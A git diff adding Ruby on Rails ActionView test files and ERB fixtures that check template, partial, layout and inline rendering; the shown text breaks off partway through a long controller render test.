diff --git a/actionview/test/actionpack/abstract/render_test.rb b/actionview/test/actionpack/abstract/render_test.rb
new file mode 100644
index 0000000000..d863548a5c
--- /dev/null
+++ b/actionview/test/actionpack/abstract/render_test.rb
@@ -0,0 +1,103 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module AbstractController
+  module Testing
+    class ControllerRenderer < AbstractController::Base
+      include AbstractController::Rendering
+      include ActionView::Rendering
+
+      def _prefixes
+        %w[renderer]
+      end
+
+      self.view_paths = [ActionView::FixtureResolver.new(
+        "template.erb" => "With Template",
+        "renderer/default.erb" => "With Default",
+        "renderer/string.erb" => "With String",
+        "renderer/symbol.erb" => "With Symbol",
+        "string/with_path.erb" => "With String With Path",
+        "some/file.erb" => "With File"
+      )]
+
+      def template
+        render template: "template"
+      end
+
+      def file
+        render file: "some/file"
+      end
+
+      def inline
+        render inline: "With <%= :Inline %>"
+      end
+
+      def text
+        render plain: "With Text"
+      end
+
+      def default
+        render
+      end
+
+      def string
+        render "string"
+      end
+
+      def string_with_path
+        render "string/with_path"
+      end
+
+      def symbol
+        render :symbol
+      end
+    end
+
+    class TestRenderer < ActiveSupport::TestCase
+      def setup
+        @controller = ControllerRenderer.new
+      end
+
+      def test_render_template
+        assert_equal "With Template", @controller.process(:template)
+        assert_equal "With Template", @controller.response_body
+      end
+
+      def test_render_file
+        assert_equal "With File", @controller.process(:file)
+        assert_equal "With File", @controller.response_body
+      end
+
+      def test_render_inline
+        assert_equal "With Inline", @controller.process(:inline)
+        assert_equal "With Inline", @controller.response_body
+      end
+
+      def test_render_text
+        assert_equal "With Text", @controller.process(:text)
+        assert_equal "With Text", @controller.response_body
+      end
+
+      def test_render_default
+        assert_equal "With Default", @controller.process(:default)
+        assert_equal "With Default", @controller.response_body
+      end
+
+      def test_render_string
+        assert_equal "With String", @controller.process(:string)
+        assert_equal "With String", @controller.response_body
+      end
+
+      def test_render_symbol
+        assert_equal "With Symbol", @controller.process(:symbol)
+        assert_equal "With Symbol", @controller.response_body
+      end
+
+      def test_render_string_with_path
+        assert_equal "With String With Path", @controller.process(:string_with_path)
+        assert_equal "With String With Path", @controller.response_body
+      end
+    end
+  end
+end
diff --git a/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/formatted.html.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/formatted.html.erb
new file mode 100644
index 0000000000..785bf69191
--- /dev/null
+++ b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/formatted.html.erb
@@ -0,0 +1 @@
+Hello from me3/formatted.html.erb
\ No newline at end of file
diff --git a/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/index.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/index.erb
new file mode 100644
index 0000000000..f079ad8204
--- /dev/null
+++ b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/index.erb
@@ -0,0 +1 @@
+Hello from me3/index.erb
\ No newline at end of file
diff --git a/actionview/test/actionpack/abstract/views/abstract_controller/testing/me4/index.erb b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me4/index.erb
new file mode 100644
index 0000000000..89dce12bdc
--- /dev/null
+++ b/actionview/test/actionpack/abstract/views/abstract_controller/testing/me4/index.erb
@@ -0,0 +1 @@
+Hello from me4/index.erb
\ No newline at end of file
diff --git a/actionview/test/actionpack/abstract/views/action_with_ivars.erb b/actionview/test/actionpack/abstract/views/action_with_ivars.erb
new file mode 100644
index 0000000000..8d8ae22fd7
--- /dev/null
+++ b/actionview/test/actionpack/abstract/views/action_with_ivars.erb
@@ -0,0 +1 @@
+<%= @my_ivar %> from index_with_ivars.erb
\ No newline at end of file
diff --git a/actionview/test/actionpack/abstract/views/helper_test.erb b/actionview/test/actionpack/abstract/views/helper_test.erb
new file mode 100644
index 0000000000..8ae45cc195
--- /dev/null
+++ b/actionview/test/actionpack/abstract/views/helper_test.erb
@@ -0,0 +1 @@
+Hello <%= helpery_test %> : <%= included_method %>
\ No newline at end of file
diff --git a/actionview/test/actionpack/abstract/views/index.erb b/actionview/test/actionpack/abstract/views/index.erb
new file mode 100644
index 0000000000..cc1a8b8c85
--- /dev/null
+++ b/actionview/test/actionpack/abstract/views/index.erb
@@ -0,0 +1 @@
+Hello from index.erb
\ No newline at end of file
diff --git a/actionview/test/actionpack/abstract/views/layouts/abstract_controller/testing/me4.erb b/actionview/test/actionpack/abstract/views/layouts/abstract_controller/testing/me4.erb
new file mode 100644
index 0000000000..172dd56569
--- /dev/null
+++ b/actionview/test/actionpack/abstract/views/layouts/abstract_controller/testing/me4.erb
@@ -0,0 +1 @@
+Me4 Enter : <%= yield %> : Exit
\ No newline at end of file
diff --git a/actionview/test/actionpack/abstract/views/layouts/application.erb b/actionview/test/actionpack/abstract/views/layouts/application.erb
new file mode 100644
index 0000000000..27317140ad
--- /dev/null
+++ b/actionview/test/actionpack/abstract/views/layouts/application.erb
@@ -0,0 +1 @@
+Application Enter : <%= yield %> : Exit
\ No newline at end of file
diff --git a/actionview/test/actionpack/abstract/views/naked_render.erb b/actionview/test/actionpack/abstract/views/naked_render.erb
new file mode 100644
index 0000000000..1b3d03878b
--- /dev/null
+++ b/actionview/test/actionpack/abstract/views/naked_render.erb
@@ -0,0 +1 @@
+Hello from naked_render.erb
\ No newline at end of file
diff --git a/actionview/test/actionpack/controller/capture_test.rb b/actionview/test/actionpack/controller/capture_test.rb
new file mode 100644
index 0000000000..09309e5b6d
--- /dev/null
+++ b/actionview/test/actionpack/controller/capture_test.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/logger"
+
+class CaptureController < ActionController::Base
+  self.view_paths = [ File.expand_path("../../fixtures/actionpack", __dir__) ]
+
+  def self.controller_name; "test"; end
+  def self.controller_path; "test"; end
+
+  def content_for
+    @title = nil
+    render layout: "talk_from_action"
+  end
+
+  def content_for_with_parameter
+    @title = nil
+    render layout: "talk_from_action"
+  end
+
+  def content_for_concatenated
+    @title = nil
+    render layout: "talk_from_action"
+  end
+
+  def non_erb_block_content_for
+    @title = nil
+    render layout: "talk_from_action"
+  end
+
+  def proper_block_detection
+    @todo = "some todo"
+  end
+end
+
+class CaptureTest < ActionController::TestCase
+  tests CaptureController
+
+  def setup
+    super
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    @controller.logger = ActiveSupport::Logger.new(nil)
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_simple_capture
+    get :capturing
+    assert_equal "Dreamy days", @response.body.strip
+  end
+
+  def test_content_for
+    get :content_for
+    assert_equal expected_content_for_output, @response.body
+  end
+
+  def test_should_concatenate_content_for
+    get :content_for_concatenated
+    assert_equal expected_content_for_output, @response.body
+  end
+
+  def test_should_set_content_for_with_parameter
+    get :content_for_with_parameter
+    assert_equal expected_content_for_output, @response.body
+  end
+
+  def test_non_erb_block_content_for
+    get :non_erb_block_content_for
+    assert_equal expected_content_for_output, @response.body
+  end
+
+  def test_proper_block_detection
+    get :proper_block_detection
+    assert_equal "some todo", @response.body
+  end
+
+  private
+    def expected_content_for_output
+      "<title>Putting stuff in the title!</title>\nGreat stuff!"
+    end
+end
diff --git a/actionview/test/actionpack/controller/layout_test.rb b/actionview/test/actionpack/controller/layout_test.rb
new file mode 100644
index 0000000000..ff66ff2a1a
--- /dev/null
+++ b/actionview/test/actionpack/controller/layout_test.rb
@@ -0,0 +1,270 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/core_ext/array/extract_options"
+
+# The view_paths array must be set on Base and not LayoutTest so that LayoutTest's inherited
+# method has access to the view_paths array when looking for a layout to automatically assign.
+old_load_paths = ActionController::Base.view_paths
+
+ActionController::Base.view_paths = [ File.expand_path("../../fixtures/actionpack/layout_tests", __dir__) ]
+
+class LayoutTest < ActionController::Base
+  def self.controller_path; "views" end
+  def self._implied_layout_name; to_s.underscore.gsub(/_controller$/, "") ; end
+  self.view_paths = ActionController::Base.view_paths.dup
+end
+
+module TemplateHandlerHelper
+  def with_template_handler(*extensions, handler)
+    ActionView::Template.register_template_handler(*extensions, handler)
+    yield
+  ensure
+    ActionView::Template.unregister_template_handler(*extensions)
+  end
+end
+
+# Restore view_paths to previous value
+ActionController::Base.view_paths = old_load_paths
+
+class ProductController < LayoutTest
+end
+
+class ItemController < LayoutTest
+end
+
+class ThirdPartyTemplateLibraryController < LayoutTest
+end
+
+module ControllerNameSpace
+end
+
+class ControllerNameSpace::NestedController < LayoutTest
+end
+
+class MultipleExtensions < LayoutTest
+end
+
+class LayoutAutoDiscoveryTest < ActionController::TestCase
+  include TemplateHandlerHelper
+
+  def setup
+    super
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_application_layout_is_default_when_no_controller_match
+    @controller = ProductController.new
+    get :hello
+    assert_equal "layout_test.erb hello.erb", @response.body
+  end
+
+  def test_controller_name_layout_name_match
+    @controller = ItemController.new
+    get :hello
+    assert_equal "item.erb hello.erb", @response.body
+  end
+
+  def test_third_party_template_library_auto_discovers_layout
+    with_template_handler :mab, lambda { |template| template.source.inspect } do
+      @controller = ThirdPartyTemplateLibraryController.new
+      get :hello
+      assert_response :success
+      assert_equal "layouts/third_party_template_library.mab", @response.body
+    end
+  end
+
+  def test_namespaced_controllers_auto_detect_layouts1
+    @controller = ControllerNameSpace::NestedController.new
+    get :hello
+    assert_equal "controller_name_space/nested.erb hello.erb", @response.body
+  end
+
+  def test_namespaced_controllers_auto_detect_layouts2
+    @controller = MultipleExtensions.new
+    get :hello
+    assert_equal "multiple_extensions.html.erb hello.erb", @response.body.strip
+  end
+end
+
+class DefaultLayoutController < LayoutTest
+end
+
+class StreamingLayoutController < LayoutTest
+  def render(*args)
+    options = args.extract_options!
+    super(*args, options.merge(stream: true))
+  end
+end
+
+class AbsolutePathLayoutController < LayoutTest
+  layout File.expand_path("../../fixtures/actionpack/layout_tests/layouts/layout_test", __dir__)
+end
+
+class HasOwnLayoutController < LayoutTest
+  layout "item"
+end
+
+class HasNilLayoutSymbol < LayoutTest
+  layout :nilz
+
+  def nilz
+    nil
+  end
+end
+
+class HasNilLayoutProc < LayoutTest
+  layout proc { nil }
+end
+
+class PrependsViewPathController < LayoutTest
+  def hello
+    prepend_view_path File.expand_path("../../fixtures/actionpack/layout_tests/alt", __dir__)
+    render layout: "alt"
+  end
+end
+
+class OnlyLayoutController < LayoutTest
+  layout "item", only: "hello"
+end
+
+class ExceptLayoutController < LayoutTest
+  layout "item", except: "goodbye"
+end
+
+class SetsLayoutInRenderController < LayoutTest
+  def hello
+    render layout: "third_party_template_library"
+  end
+end
+
+class RendersNoLayoutController < LayoutTest
+  def hello
+    render layout: false
+  end
+end
+
+class LayoutSetInResponseTest < ActionController::TestCase
+  include ActionView::Template::Handlers
+  include TemplateHandlerHelper
+
+  def test_layout_set_when_using_default_layout
+    @controller = DefaultLayoutController.new
+    get :hello
+    assert_includes @response.body, "layout_test.erb"
+  end
+
+  def test_layout_set_when_using_streaming_layout
+    @controller = StreamingLayoutController.new
+    get :hello
+    assert_includes @response.body, "layout_test.erb"
+  end
+
+  def test_layout_set_when_set_in_controller
+    @controller = HasOwnLayoutController.new
+    get :hello
+    assert_includes @response.body, "item.erb"
+  end
+
+  def test_layout_symbol_set_in_controller_returning_nil_falls_back_to_default
+    @controller = HasNilLayoutSymbol.new
+    get :hello
+    assert_includes @response.body, "layout_test.erb"
+  end
+
+  def test_layout_proc_set_in_controller_returning_nil_falls_back_to_default
+    @controller = HasNilLayoutProc.new
+    get :hello
+    assert_includes @response.body, "layout_test.erb"
+  end
+
+  def test_layout_only_exception_when_included
+    @controller = OnlyLayoutController.new
+    get :hello
+    assert_includes @response.body, "item.erb"
+  end
+
+  def test_layout_only_exception_when_excepted
+    @controller = OnlyLayoutController.new
+    get :goodbye
+    assert_not_includes @response.body, "item.erb"
+  end
+
+  def test_layout_except_exception_when_included
+    @controller = ExceptLayoutController.new
+    get :hello
+    assert_includes @response.body, "item.erb"
+  end
+
+  def test_layout_except_exception_when_excepted
+    @controller = ExceptLayoutController.new
+    get :goodbye
+    assert_not_includes @response.body, "item.erb"
+  end
+
+  def test_layout_set_when_using_render
+    with_template_handler :mab, lambda { |template| template.source.inspect } do
+      @controller = SetsLayoutInRenderController.new
+      get :hello
+      assert_includes @response.body, "layouts/third_party_template_library.mab"
+    end
+  end
+
+  def test_layout_is_not_set_when_none_rendered
+    @controller = RendersNoLayoutController.new
+    get :hello
+    assert_equal "hello.erb", @response.body
+  end
+
+  def test_layout_is_picked_from_the_controller_instances_view_path
+    @controller = PrependsViewPathController.new
+    get :hello
+    assert_includes @response.body, "alt.erb"
+  end
+
+  def test_absolute_pathed_layout
+    @controller = AbsolutePathLayoutController.new
+    get :hello
+    assert_equal "layout_test.erb hello.erb", @response.body.strip
+  end
+end
+
+class SetsNonExistentLayoutFile < LayoutTest
+  layout "nofile"
+end
+
+class LayoutExceptionRaisedTest < ActionController::TestCase
+  def test_exception_raised_when_layout_file_not_found
+    @controller = SetsNonExistentLayoutFile.new
+    assert_raise(ActionView::MissingTemplate) { get :hello }
+  end
+end
+
+class LayoutStatusIsRendered < LayoutTest
+  def hello
+    render status: 401
+  end
+end
+
+class LayoutStatusIsRenderedTest < ActionController::TestCase
+  def test_layout_status_is_rendered
+    @controller = LayoutStatusIsRendered.new
+    get :hello
+    assert_response 401
+  end
+end
+
+unless Gem.win_platform?
+  class LayoutSymlinkedTest < LayoutTest
+    layout "symlinked/symlinked_layout"
+  end
+
+  class LayoutSymlinkedIsRenderedTest < ActionController::TestCase
+    def test_symlinked_layout_is_rendered
+      @controller = LayoutSymlinkedTest.new
+      get :hello
+      assert_response 200
+      assert_includes @response.body, "This is my layout"
+    end
+  end
+end
diff --git a/actionview/test/actionpack/controller/render_test.rb b/actionview/test/actionpack/controller/render_test.rb
new file mode 100644
index 0000000000..9df2a73448
--- /dev/null
+++ b/actionview/test/actionpack/controller/render_test.rb
@@ -0,0 +1,1294 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_model"
+require "controller/fake_models"
+
+class ApplicationController < ActionController::Base
+  self.view_paths = File.join(FIXTURE_LOAD_PATH, "actionpack")
+end
+
+module Quiz
+  #Models
+  Question = Struct.new(:name, :id) do
+    extend ActiveModel::Naming
+    include ActiveModel::Conversion
+
+    def persisted?
+      id.present?
+    end
+  end
+
+  # Controller
+  class QuestionsController < ApplicationController
+    def new
+      render partial: Quiz::Question.new("Namespaced Partial")
+    end
+  end
+end
+
+module Fun
+  class GamesController < ApplicationController
+    def hello_world; end
+
+    def nested_partial_with_form_builder
+      render partial: ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
+    end
+  end
+end
+
+class TestController < ApplicationController
+  protect_from_forgery
+
+  before_action :set_variable_for_layout
+
+  class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+  end
+
+  layout :determine_layout
+
+  def name
+    nil
+  end
+
+  private :name
+  helper_method :name
+
+  def hello_world
+  end
+
+  def hello_world_file
+    render file: File.expand_path("../../fixtures/actionpack/hello", __dir__), formats: [:html]
+  end
+
+  # :ported:
+  def render_hello_world
+    render "test/hello_world"
+  end
+
+  def render_hello_world_with_last_modified_set
+    response.last_modified = Date.new(2008, 10, 10).to_time
+    render "test/hello_world"
+  end
+
+  # :ported: compatibility
+  def render_hello_world_with_forward_slash
+    render "/test/hello_world"
+  end
+
+  # :ported:
+  def render_template_in_top_directory
+    render template: "shared"
+  end
+
+  # :deprecated:
+  def render_template_in_top_directory_with_slash
+    render "/shared"
+  end
+
+  # :ported:
+  def render_hello_world_from_variable
+    @person = "david"
+    render plain: "hello #{@person}"
+  end
+
+  # :ported:
+  def render_action_hello_world
+    render action: "hello_world"
+  end
+
+  def render_action_upcased_hello_world
+    render action: "Hello_world"
+  end
+
+  def render_action_hello_world_as_string
+    render "hello_world"
+  end
+
+  def render_action_hello_world_with_symbol
+    render action: :hello_world
+  end
+
+  # :ported:
+  def render_text_hello_world
+    render plain: "hello world"
+  end
+
+  # :ported:
+  def render_text_hello_world_with_layout
+    @variable_for_layout = ", I am here!"
+    render plain: "hello world", layout: true
+  end
+
+  def hello_world_with_layout_false
+    render layout: false
+  end
+
+  # :ported:
+  def render_file_with_instance_variables
+    @secret = "in the sauce"
+    path = File.expand_path("../../fixtures/test/render_file_with_ivar", __dir__)
+    render file: path
+  end
+
+  # :ported:
+  def render_file_not_using_full_path
+    @secret = "in the sauce"
+    render file: "test/render_file_with_ivar"
+  end
+
+  def render_file_not_using_full_path_with_dot_in_path
+    @secret = "in the sauce"
+    render file: "test/dot.directory/render_file_with_ivar"
+  end
+
+  def render_file_using_pathname
+    @secret = "in the sauce"
+    render file: Pathname.new(__dir__).join("..", "..", "fixtures", "test", "dot.directory", "render_file_with_ivar")
+  end
+
+  def render_file_from_template
+    @secret = "in the sauce"
+    @path = File.expand_path("../../fixtures/test/render_file_with_ivar", __dir__)
+  end
+
+  def render_file_with_locals
+    path = File.expand_path("../../fixtures/test/render_file_with_locals", __dir__)
+    render file: path, locals: { secret: "in the sauce" }
+  end
+
+  def render_file_as_string_with_locals
+    path = File.expand_path("../../fixtures/test/render_file_with_locals", __dir__)
+    render file: path, locals: { secret: "in the sauce" }
+  end
+
+  def accessing_request_in_template
+    render inline: "Hello: <%= request.host %>"
+  end
+
+  def accessing_logger_in_template
+    render inline: "<%= logger.class %>"
+  end
+
+  def accessing_action_name_in_template
+    render inline: "<%= action_name %>"
+  end
+
+  def accessing_controller_name_in_template
+    render inline: "<%= controller_name %>"
+  end
+
+  # :ported:
+  def render_custom_code
+    render plain: "hello world", status: 404
+  end
+
+  # :ported:
+  def render_text_with_nil
+    render plain: nil
+  end
+
+  # :ported:
+  def render_text_with_false
+    render plain: false
+  end
+
+  def render_text_with_resource
+    render plain: Customer.new("David")
+  end
+
+  # :ported:
+  def render_nothing_with_appendix
+    render plain: "appended"
+  end
+
+  # This test is testing 3 things:
+  #   render :file in AV      :ported:
+  #   render :template in AC  :ported:
+  #   setting content type
+  def render_xml_hello
+    @name = "David"
+    render template: "test/hello"
+  end
+
+  def render_xml_hello_as_string_template
+    @name = "David"
+    render "test/hello"
+  end
+
+  def render_line_offset
+    render inline: "<% raise %>", locals: { foo: "bar" }
+  end
+
+  def heading
+    head :ok
+  end
+
+  def greeting
+    # let's just rely on the template
+  end
+
+  # :ported:
+  def blank_response
+    render plain: " "
+  end
+
+  # :ported:
+  def layout_test
+    render action: "hello_world"
+  end
+
+  # :ported:
+  def builder_layout_test
+    @name = nil
+    render action: "hello", layout: "layouts/builder"
+  end
+
+  # :move: test this in Action View
+  def builder_partial_test
+    render action: "hello_world_container"
+  end
+
+  # :ported:
+  def partials_list
+    @test_unchanged = "hello"
+    @customers = [ Customer.new("david"), Customer.new("mary") ]
+    render action: "list"
+  end
+
+  def partial_only
+    render partial: true
+  end
+
+  def hello_in_a_string
+    @customers = [ Customer.new("david"), Customer.new("mary") ]
+    render plain: "How's there? " + render_to_string(template: "test/list")
+  end
+
+  def accessing_params_in_template
+    render inline: "Hello: <%= params[:name] %>"
+  end
+
+  def accessing_local_assigns_in_inline_template
+    name = params[:local_name]
+    render inline: "<%= 'Goodbye, ' + local_name %>",
+           locals: { local_name: name }
+  end
+
+  def render_implicit_html_template_from_xhr_request
+  end
+
+  def render_implicit_js_template_without_layout
+  end
+
+  def formatted_html_erb
+  end
+
+  def formatted_xml_erb
+  end
+
+  def render_to_string_test
+    @foo = render_to_string inline: "this is a test"
+  end
+
+  def default_render
+    @alternate_default_render ||= nil
+    if @alternate_default_render
+      @alternate_default_render.call
+    else
+      super
+    end
+  end
+
+  def render_action_hello_world_as_symbol
+    render action: :hello_world
+  end
+
+  def layout_test_with_different_layout
+    render action: "hello_world", layout: "standard"
+  end
+
+  def layout_test_with_different_layout_and_string_action
+    render "hello_world", layout: "standard"
+  end
+
+  def layout_test_with_different_layout_and_symbol_action
+    render :hello_world, layout: "standard"
+  end
+
+  def rendering_without_layout
+    render action: "hello_world", layout: false
+  end
+
+  def layout_overriding_layout
+    render action: "hello_world", layout: "standard"
+  end
+
+  def rendering_nothing_on_layout
+    head :ok
+  end
+
+  def render_to_string_with_assigns
+    @before = "i'm before the render"
+    render_to_string plain: "foo"
+    @after = "i'm after the render"
+    render template: "test/hello_world"
+  end
+
+  def render_to_string_with_exception
+    render_to_string file: "exception that will not be caught - this will certainly not work"
+  end
+
+  def render_to_string_with_caught_exception
+    @before = "i'm before the render"
+    begin
+      render_to_string file: "exception that will be caught- hope my future instance vars still work!"
+    rescue
+    end
+    @after = "i'm after the render"
+    render template: "test/hello_world"
+  end
+
+  def accessing_params_in_template_with_layout
+    render layout: true, inline: "Hello: <%= params[:name] %>"
+  end
+
+  # :ported:
+  def render_with_explicit_template
+    render template: "test/hello_world"
+  end
+
+  def render_with_explicit_unescaped_template
+    render template: "test/h*llo_world"
+  end
+
+  def render_with_explicit_escaped_template
+    render template: "test/hello,world"
+  end
+
+  def render_with_explicit_string_template
+    render "test/hello_world"
+  end
+
+  # :ported:
+  def render_with_explicit_template_with_locals
+    render template: "test/render_file_with_locals", locals: { secret: "area51" }
+  end
+
+  # :ported:
+  def double_render
+    render plain: "hello"
+    render plain: "world"
+  end
+
+  def double_redirect
+    redirect_to action: "double_render"
+    redirect_to action: "double_render"
+  end
+
+  def render_and_redirect
+    render plain: "hello"
+    redirect_to action: "double_render"
+  end
+
+  def render_to_string_and_render
+    @stuff = render_to_string plain: "here is some cached stuff"
+    render plain: "Hi web users! #{@stuff}"
+  end
+
+  def render_to_string_with_inline_and_render
+    render_to_string inline: "<%= 'dlrow olleh'.reverse %>"
+    render template: "test/hello_world"
+  end
+
+  def rendering_with_conflicting_local_vars
+    @name = "David"
+    render action: "potential_conflicts"
+  end
+
+  def hello_world_from_rxml_using_action
+    render action: "hello_world_from_rxml", handlers: [:builder]
+  end
+
+  # :deprecated:
+  def hello_world_from_rxml_using_template
+    render template: "test/hello_world_from_rxml", handlers: [:builder]
+  end
+
+  def action_talk_to_layout
+    # Action template sets variable that's picked up by layout
+  end
+
+  # :addressed:
+  def render_text_with_assigns
+    @hello = "world"
+    render plain: "foo"
+  end
+
+  def render_with_assigns_option
+    render inline: "<%= @hello %>", assigns: { hello: "world" }
+  end
+
+  def yield_content_for
+    render action: "content_for", layout: "yield"
+  end
+
+  def render_content_type_from_body
+    response.content_type = Mime[:rss]
+    render body: "hello world!"
+  end
+
+  def render_using_layout_around_block
+    render action: "using_layout_around_block"
+  end
+
+  def render_using_layout_around_block_in_main_layout_and_within_content_for_layout
+    render action: "using_layout_around_block", layout: "layouts/block_with_layout"
+  end
+
+  def partial_formats_html
+    render partial: "partial", formats: [:html]
+  end
+
+  def partial
+    render partial: "partial"
+  end
+
+  def partial_html_erb
+    render partial: "partial_html_erb"
+  end
+
+  def render_to_string_with_partial
+    @partial_only = render_to_string partial: "partial_only"
+    @partial_with_locals = render_to_string partial: "customer", locals: { customer: Customer.new("david") }
+    render template: "test/hello_world"
+  end
+
+  def render_to_string_with_template_and_html_partial
+    @text = render_to_string template: "test/with_partial", formats: [:text]
+    @html = render_to_string template: "test/with_partial", formats: [:html]
+    render template: "test/with_html_partial"
+  end
+
+  def render_to_string_and_render_with_different_formats
+    @html = render_to_string template: "test/with_partial", formats: [:html]
+    render template: "test/with_partial", formats: [:text]
+  end
+
+  def render_template_within_a_template_with_other_format
+    render  template: "test/with_xml_template",
+            formats: [:html],
+            layout: "with_html_partial"
+  end
+
+  def partial_with_counter
+    render partial: "counter", locals: { counter_counter: 5 }
+  end
+
+  def partial_with_locals
+    render partial: "customer", locals: { customer: Customer.new("david") }
+  end
+
+  def partial_with_form_builder
+    render partial: ActionView::Helpers::FormBuilder.new(:post, nil, view_context, {})
+  end
+
+  def partial_with_form_builder_subclass
+    render partial: LabellingFormBuilder.new(:post, nil, view_context, {})
+  end
+
+  def partial_collection
+    render partial: "customer", collection: [ Customer.new("david"), Customer.new("mary") ]
+  end
+
+  def partial_collection_with_as
+    render partial: "customer_with_var", collection: [ Customer.new("david"), Customer.new("mary") ], as: :customer
+  end
+
+  def partial_collection_with_iteration
+    render partial: "customer_iteration", collection: [ Customer.new("david"), Customer.new("mary"), Customer.new("christine") ]
+  end
+
+  def partial_collection_with_as_and_iteration
+    render partial: "customer_iteration_with_as", collection: [ Customer.new("david"), Customer.new("mary"), Customer.new("christine") ], as: :client
+  end
+
+  def partial_collection_with_counter
+    render partial: "customer_counter", collection: [ Customer.new("david"), Customer.new("mary") ]
+  end
+
+  def partial_collection_with_as_and_counter
+    render partial: "customer_counter_with_as", collection: [ Customer.new("david"), Customer.new("mary") ], as: :client
+  end
+
+  def partial_collection_with_locals
+    render partial: "customer_greeting", collection: [ Customer.new("david"), Customer.new("mary") ], locals: { greeting: "Bonjour" }
+  end
+
+  def partial_collection_with_spacer
+    render partial: "customer", spacer_template: "partial_only", collection: [ Customer.new("david"), Customer.new("mary") ]
+  end
+
+  def partial_collection_with_spacer_which_uses_render
+    render partial: "customer", spacer_template: "partial_with_partial", collection: [ Customer.new("david"), Customer.new("mary") ]
+  end
+
+  def partial_collection_shorthand_with_locals
+    render partial: [ Customer.new("david"), Customer.new("mary") ], locals: { greeting: "Bonjour" }
+  end
+
+  def partial_collection_shorthand_with_different_types_of_records
+    render partial: [
+        BadCustomer.new("mark"),
+        GoodCustomer.new("craig"),
+        BadCustomer.new("john"),
+        GoodCustomer.new("zach"),
+        GoodCustomer.new("brandon"),
+        BadCustomer.new("dan") ],
+      locals: { greeting: "Bonjour" }
+  end
+
+  def empty_partial_collection
+    render partial: "customer", collection: []
+  end
+
+  def partial_collection_shorthand_with_different_types_of_records_with_counter
+    partial_collection_shorthand_with_different_types_of_records
+  end
+
+  def missing_partial
+    render partial: "thisFileIsntHere"
+  end
+
+  def partial_with_hash_object
+    render partial: "hash_object", object: { first_name: "Sam" }
+  end
+
+  def partial_with_nested_object
+    render partial: "quiz/questions/question", object: Quiz::Question.new("first")
+  end
+
+  def partial_with_nested_object_shorthand
+    render Quiz::Question.new("first")
+  end
+
+  def partial_hash_collection
+    render partial: "hash_object", collection: [ { first_name: "Pratik" }, { first_name: "Amy" } ]
+  end
+
+  def partial_hash_collection_with_locals
+    render partial: "hash_greeting", collection: [ { first_name: "Pratik" }, { first_name: "Amy" } ], locals: { greeting: "Hola" }
+  end
+
+  def partial_with_implicit_local_assignment
+    @customer = Customer.new("Marcel")
+    render partial: "customer"
+  end
+
+  def render_call_to_partial_with_layout
+    render action: "calling_partial_with_layout"
+  end
+
+  def render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
+    render action: "calling_partial_with_layout", layout: "layouts/partial_with_layout"
+  end
+
+  before_action only: :render_with_filters do
+    request.format = :xml
+  end
+
+  # Ensure that the before filter is executed *before* self.formats is set.
+  def render_with_filters
+    render action: :formatted_xml_erb
+  end
+
+  private
+
+    def set_variable_for_layout
+      @variable_for_layout = nil
+    end
+
+    def determine_layout
+      case action_name
+      when "hello_world", "layout_test", "rendering_without_layout",
+             "rendering_nothing_on_layout", "render_text_hello_world",
+             "render_text_hello_world_with_layout",
+             "hello_world_with_layout_false",
+             "partial_only", "accessing_params_in_template",
+             "accessing_params_in_template_with_layout",
+             "render_with_explicit_template",
+             "render_with_explicit_string_template",
+             "update_page", "update_page_with_instance_variables"
+
+        "layouts/standard"
+      when "action_talk_to_layout", "layout_overriding_layout"
+        "layouts/talk_from_action"
+      when "render_implicit_html_template_from_xhr_request"
+        (request.xhr? ? "layouts/xhr" : "layouts/standard")
+      end
+    end
+end
+
+class RenderTest < ActionController::TestCase
+  tests TestController
+
+  def setup
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    super
+    @controller.logger      = ActiveSupport::Logger.new(nil)
+    ActionView::Base.logger = ActiveSupport::Logger.new(nil)
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def teardown
+    ActionView::Base.logger = nil
+  end
+
+  # :ported:
+  def test_simple_show
+    get :hello_world
+    assert_response 200
+    assert_response :success
+    assert_equal "<html>Hello world!</html>", @response.body
+  end
+
+  # :ported:
+  def test_renders_default_template_for_missing_action
+    get :'hyphen-ated'
+    assert_equal "hyphen-ated.erb", @response.body
+  end
+
+  # :ported:
+  def test_render
+    get :render_hello_world
+    assert_equal "Hello world!", @response.body
+  end
+
+  def test_line_offset
+    exc = assert_raises ActionView::Template::Error do
+      get :render_line_offset
+    end
+    line = exc.backtrace.first
+    assert(line =~ %r{:(\d+):})
+    assert_equal "1", $1,
+      "The line offset is wrong, perhaps the wrong exception has been raised, exception was: #{exc.inspect}"
+  end
+
+  # :ported: compatibility
+  def test_render_with_forward_slash
+    get :render_hello_world_with_forward_slash
+    assert_equal "Hello world!", @response.body
+  end
+
+  # :ported:
+  def test_render_in_top_directory
+    get :render_template_in_top_directory
+    assert_equal "Elastica", @response.body
+  end
+
+  # :ported:
+  def test_render_in_top_directory_with_slash
+    get :render_template_in_top_directory_with_slash
+    assert_equal "Elastica", @response.body
+  end
+
+  # :ported:
+  def test_render_from_variable
+    get :render_hello_world_from_variable
+    assert_equal "hello david", @response.body
+  end
+
+  # :ported:
+  def test_render_action
+    get :render_action_hello_world
+    assert_equal "Hello world!", @response.body
+  end
+
+  def test_render_action_upcased
+    assert_raise ActionView::MissingTemplate do
+      get :render_action_upcased_hello_world
+    end
+  end
+
+  # :ported:
+  def test_render_action_hello_world_as_string
+    get :render_action_hello_world_as_string
+    assert_equal "Hello world!", @response.body
+  end
+
+  # :ported:
+  def test_render_action_with_symbol
+    get :render_action_hello_world_with_symbol
+    assert_equal "Hello world!", @response.body
+  end
+
+  # :ported:
